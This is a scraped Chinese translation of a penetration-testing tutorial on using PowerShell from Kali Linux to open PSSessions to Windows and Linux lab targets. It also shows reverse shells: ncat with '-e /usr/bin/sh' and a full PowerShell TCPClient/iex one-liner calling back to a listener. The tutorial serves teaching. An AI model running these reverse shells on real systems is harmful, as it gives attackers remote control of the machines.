kali linux超級用戶_如何優雅的在Linux上使用Powershell]

384939226a159ead4f7119046caa363d.gif點擊上方“藍字”關注我們吧!529f0015d49bc0f26e5337e0883892a6.gif

譯文聲明
本文是翻譯文章,文章原作者 TJ Null

文章來源:https://www.offensive-security.com
原文地址:

https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

譯文僅供參考,具體內容表達以及含義原文為準。

fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

前言

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png

在最近的幾年中,PowerShell顯然已經成為了一種功能強大的腳本語言,它是運行在windows機器上實現系統和應用程序管理自動化的命令行腳本環境。不僅如此,微軟還推出了Powershell Core,可以跨平臺使用,支持 LinuxMac

Linux上使用PowerShell可以帶來諸多好處,例如:
?可以在PowerShell中編寫和調試腳本
?連接到Windows目標靶機
?傳輸文件

但是目前,PowerShell在Linux平臺上功能還不夠完善,例如:
?所支持的cmdlet不完善
?不能夠在PowerShell中直接使用sudoexec?不支持WMI或CIM

在本文中,我們將展示如何在Kali上建立PSSession到我們的靶機(Windows和Linux)。在Powshell中,PSSessioncmdlet允許我們創建到本地或遠程計算機的持久連接。通過PSSession我們可以實現在加密傳輸內容的同時與目標主機進行交互。(注意:本文中使用的命令已在Windows10x64 Pro,2004版和Ubuntu20.04LTS上進行了測試。)fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

在WINDOWS上獲取PSSESSION

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png要想與PSSession進行交互,首先在Windows我們需要啟用PSremoting并具有訪問系統的憑據。當您啟用PSRemoting時,它使用默認的HTTP 5985端口進行連接。WS-Management協議會幫助我們加密通過網絡傳輸的所有 Windows PowerShell 內容。在本次測試中,使用默認選項即可。在Kali上首次使用Powshell時,需要安裝一個單獨的軟件包,并且需要更改一些配置才能獲取PSSession。我們需要安裝gss ntlmssp,并在PowerShell目錄中創建兩個符號鏈接,以確保PowerShell中的WSman模塊正常工作。默認情況下,我們的PowerShell位于以下路徑:

/ opt / Microsoft / powershell / 7

切換到到上面的目錄。在該目錄中,添加符號鏈接:

ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln?-s?/usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2?libcrypto?.so.1.0.0
準備工作已經完成,讓我們打開kali系統上Powshell終端,鍵入以下命令來創建一個新的PSSession。$offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential
使用正確的憑據,我們就可以實現在PSSession中與Windows目標進行交互。運行結果如下圖所示:

c34a4b359c16d76f5fdae2ccb86dccdd.png

創建PSSession后,我們可以使用Invoke-Command的Session參數在PSSession中運行命令或腳本。我們還可以通過Invoke-Command命令實現與多臺主機進行交互。以下是一個演示示例,在多臺主機上執行hostname命令:Invoke-Command -Session $offsecsession -ScriptBlock {hostname}

2d5b28b2f9b6a0bc83a4ea7b5686c963.png

通過這種方法,我們就可以在PSSession后臺執行命令。ScriptBlock還允許我們同時執行多條命令,只需要使用‘;’將每條命令隔開即可。下面是演示示例:

Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}

8bf61604ba4659d5df73c80e578bcd4b.png

命令回顯:

63fd92f31ebc09f8088fcca9db57c992.png

如上圖所示,我們可以獲取系統的主機名,當前域和用戶的名稱,以及當前用戶的安全權限。接下來,讓我們看一下如何在Linux上獲得PSSession。fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

在LINUX系統上獲取PSSESSION

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.pngPSSession不僅局限于Windows,在Linux上運行Powershell同樣允許我們在Linux靶機中啟動PSSession。我們需要先運行ssh服務,同時修改sshd_config文件:?PasswordAuthentication yes?Optional: PubkeyAuthentication yes
在Ubuntu上鍵入以下命令:Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile

53311b5cb04bef4f08362a990f435e76.png

接著我們保存對sshd_config的修改,并且重啟ssh服務。這樣我們便可以在Linux靶機上獲得PSSession:

df3f62338a309fa3badcdab5d2da6e42.png

我們還可以通過“ Invoke-Command” cmdlet在PSSession中運行Bash命令或PowerShell命令。

76aebc55b211420c7a62de8a0efacef9.png

Tips:在Linux并非支持所有的cmdlet命令。但是隨著PowerShell的不斷更新與完善,支持cmdlet的指令集也會不斷更新。目前我們已經實現在Linux靶機上獲取PSSession,下面讓我們看一下如何使用Powshell在Linux獲取反向shell。

fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

在LINUX上獲取反向SHELL

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png在滲透測試中,PowerShell還可以進行反彈shell的操作。我們可以在靶機上執行二進制文件,傳輸文件,讀寫文件。我將在這一小節中,演示如何通過ncat命令獲取反彈shell。我們使用一個名為Start-Process的cmdlet可以幫助我們達到目的。下面是一個演示示例:Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'

7b37881809ba4aeb0583302e74a98e4e.png

我們使用了Start-Process命令運行了ncat,并向kali回調了一個shell。我們只需要在kali上保持監聽即可。如下圖所示,我們成功的在kali上獲取了一個反向shell:

a01a3dece16eed90778ec9e93a87af8e.png

我們還可以使用pwsh后邊跟上-Command參數,直接在bash中執行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"

2f74f5aa029ba7538e2f2eccb4a7c9e6.png

運行結果如下圖所示,我們同樣獲取了一個反彈shell:

f68442994dc204afbb3fb0d4eed8c9ab.png

簡化操作


我們甚至還可以借助Powshell本身的功能來進行反彈shell。腳本如下:
$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length))  - ne 0)  {;$data = (New - Object  - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback  +  "PS "  +  (pwd).Path  +  "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()
我們可以把腳本集中放置在一行,并將其保存為文本文件(例如posh.ps1):$callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()當靶機執行此腳本時,同樣可以達到反彈shell的目的:

9891c397ca408d050bccd1d1f771149e.png

我們可以在shell中運行bash或powershell命令:

4162f1101f71ca471a9de2cc38f3e3cd.png

fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

結論

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png
如今,powshell已經成為了滲透測試中一大利器。本文只是演示了幾個簡單的示例,Powshell功能遠不僅此。從pentester的角度來看,我們使用了PowerShell拓展了我們后滲透測試的手段。防御者也通過Powershell來檢測攻擊者的行為。后續,我們將繼續研究PowerShell在linux更多利用手法。fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

參考文獻

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png

Kali Bug Report
(https://bugs.kali.org/view.php?id=5915)PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374)Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7)bca253a19ea62b6dd7e7b25a28fbe435.gif4d9be9417380ddf7b401287b7b6bec9a.png7fb23a6f4624540b8a27c0d8144b6e4f.png13da7254db91c7c2dada45ddba312636.gif點分享dfc522b569bcb0aef330c601e826d2f7.gif點點贊73fda8403004bae3750297d978d2f532.gif點在看

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/277619.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/277619.shtml
英文地址,請注明出處:http://en.pswp.cn/news/277619.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Laravel5.5 MySQL配置、讀寫分離及操作

2019獨角獸企業重金招聘Python工程師標準>>> Laravel 讓連接不同數據庫以及對數據庫進行增刪改查操作: 參考:http://laravelacademy.org/post/854.html 配置讀寫分離 應用的數據庫配置位于 config/database.php(但是數據庫用戶及密碼等敏感信…

Kinect開發筆記之八C#實現Kinect聲音的追蹤

聲明:本文中特征多針對Kinect for windows 1.0,新版的Kinect Sensor可能有部分數值或方法有一定變化,請知曉。Kinect的聲音來自下方的4個麥克風組成的麥克風陣列。傳感器內含數字信號處理器,可以用來強化接受聲音的清晰度同時處理…

Nginx常見配置:負載均衡、限流、緩存、黑名單和灰度發布

一、Nginx安裝(基于CentOS 6.5) 1.yum命令安裝 yum install nginx –y(若不能安裝,執行命令yum install epel-release) 2. 啟動、停止和重啟 service nginx startservice nginx stopservice nginx restart瀏覽器中 輸入服務器的 ip 地址&…

國服服務器_《Minecraft我的世界》第三方服務器的基本儲備

今天我想單獨來聊一聊Minecraft我的世界第三方服務器的發展。世外荒原玩家作品我來到頭條的第一篇文章就發表了一篇我對Minecraft現狀的看法,現在國服的狀態對老玩家不是很友好。(這不說明國服的運營戰略路線是有問題的)因此誕生了一大堆第三方服務器。世外荒原玩家…

Unity中Time.deltaTime的含義及其應用

相信Unity的開發者或者初學者都對Time.deltaTime并不陌生,我們經常會在代碼中用到或者看到它,今天去官方的API文檔查了一下,感覺它非常有用,所以翻譯一下以引導初學者。 原文網址: file:///Applications/Unity/Unity…

unity3d曲線text文本

測試.pngusing System; using System.Collections.Generic;namespace UnityEngine.UI.Extensions {/// <summary>/// Curved text.讓文本按照曲線進行顯示 【注意對Image的變形 也是可以的】/// 說明&#xff1a; 對Text的操作就和 shadow 和 outline 組件類似。/// <…

HTML 和CSS

1 HTML 介紹1.1 web 服務本質import socket sk socket.socket() sk.bind(("127.0.0.1", 8080))sk.listen(5) while True: conn, addr sk.accept() data conn.recv(8096) conn.send(b"HTTP/1.1 200 OK\r\n\r\n") conn.send(b"<h1>Hello world…

Unity中Quaternion的含義及其使用

官網API文檔&#xff1a; file:///Applications/Unity/Unity.app/Contents/Documentation/html/en/ScriptReference/Quaternion.html Quaternion的意思是四元數&#xff0c;用于代表旋轉。 它們是緊致的&#xff0c;不會產生萬向節死鎖并且能夠很容易被插值。Unity內使用Quat…

Python PIPEs

2019獨角獸企業重金招聘Python工程師標準>>> https://www.python-course.eu/pipes.php https://www.tutorialspoint.com/python/os_pipe.htm 轉載于:https://my.oschina.net/zungyiu/blog/1860857

延時消息_Handler的消息延時是怎么實現的

消息延時做了什么特殊處理&#xff1f;是發送延時&#xff0c;還是消息處理延時&#xff1f;延時的精度如何&#xff1f;通常我們使用Handler的消息延時都是調用sendMessageDelayed函數實現的&#xff0c;其中delayMillis是需要延時的毫秒。通過跟蹤sendMessageDelayed函數可以…

5月JC學習總結

斷劍重鑄之日&#xff0c;王者歸來之時。為了更美好的明天而戰。 五月 悄悄地過了 人兒 不覺中散了 攜著一腔熱血&#xff1b;來到蛟川 來到機房 微涼的輕風&#xff0c;無聲地去了 熾熱的驕陽&#xff0c;即將要落了 站在4樓&#xff0c;向窗外眺望&#xff0c;映出的不是夕陽…

4 關卡流 進階_全息武器全解析,記住4個點全區第一就是你!

實不相瞞&#xff0c;每次看著全息武器糖糖都感覺自己像鋼鐵俠高端大氣上檔次&#xff0c;低調奢華有內涵那么問題來了&#xff01;這個全息武器究竟該怎么玩才能成為真正的鋼鐵俠&#xff1f;我的使命之全息武器【作者&#xff1a;D38激戰阿曼——潛龍小生】全息武器在屬性增加…

terminate called after throwing an instance of 'std::out_of_range' what(): basic_string::substr

運行時報錯&#xff1a; terminate called after throwing an instance of std::out_of_rangewhat(): basic_string::substr&#xff1a;__pos Aborted (core dumped) 內存讀取越界。 解釋1&#xff1a;for example:const std::string sTest( "test" );sTest.substr…

記一次理想浪漫的畢旅

因為臨近畢業離別的氛圍和閑散的生活&#xff0c;雖然手頭積攢了不少可寫的素材和教程&#xff0c;但還是兩個月沒有在CSDN更新博客。論文答辯之后&#xff0c;我只是每天在宿舍玩玩電腦、打打撲克&#xff0c;唯一讓我難受的是&#xff0c;隔幾天便送走一位同窗好友。有時甚至…

【滲透過程】嘉緣網站 --測試

聲明&#xff1a;本片文章測試網站為測試靶場 信息收集階段&#xff1a; 首先使用了一些常見的掃描工具&#xff1a;nmap 御劍 使用nmap掃描端口 發現網站開放了 135 139 445 3306 等端口 這里可以看到網站開放了一些危害較高端口&#xff1a;135 225等 使用御劍掃描到一些敏感…

C編程經驗總結

Turbo c Return (z);return z; 圖形界面的有scanf(“%d ~%d\n”,&~,&~);注意&#xff1a;中間不能有亂的東西 Printf(“~~~ %d~~%d\n”,~,~);這兒可以有亂的東西&#xff0c;一切的提示圖形界面多是由它完成 函數&#xff0c;變量一定是有類型 除了函數&#xff08;&am…

文檔過期打不開怎么辦_標準的產品需求文檔在這里!(詳細說明版)(2)

接著上篇繼續寫&#xff0c;上篇請點擊標準的產品需求文檔在這里&#xff01;(詳細說明版)(1)入口已經寫完&#xff0c;讀此文檔的無論是研發人員還是測試都已經知曉此需求需要做的從哪里進入&#xff0c;接下來就是主菜了&#xff0c;進入以后該干嘛。進入以后當然就是新的頁面…

day32

udp(用戶數據包協議) 高并發(同時有大量客戶端訪問服務器,服務器處理不過來)?OSI模型中,屬于傳輸層得協議,僅用于不要求可靠性,以及不要求分組順序且數據量較小的簡單傳輸,力求快?通訊流程類似對講機 只管發送不管對方是否接收到,甚至不關心對方存在?UDP可以處理多個客戶端,…

Macbook全系列詳細分析及購機指南

時至今日&#xff0c;極佳的用戶體驗、強大的功能、獨特的設計感、廣闊的市場和無可比擬的品牌魅力已經讓蘋果公司各種電子產品的迅速普及&#xff0c;其中Macbook逐漸被越來越多的人所青睞&#xff0c;尤其是從事一些特定行業的工作者&#xff08;比如IT、電信、互聯網以及藝術…

惠普m1005連接電腦步驟_電腦連接電視機詳細步驟方法圖文

電腦連接電視機有什么好處呢&#xff1f;小編想到了幾點&#xff0c;那就是屏幕大&#xff0c;而且可以在電視機上使用網絡看到自己想看的劇。還有就是可以更多的人一起做著來看。所以總的來說電腦連接電視機還是好處比較多的。下面我就來告訴你們電腦怎么連接電視機。有的時候…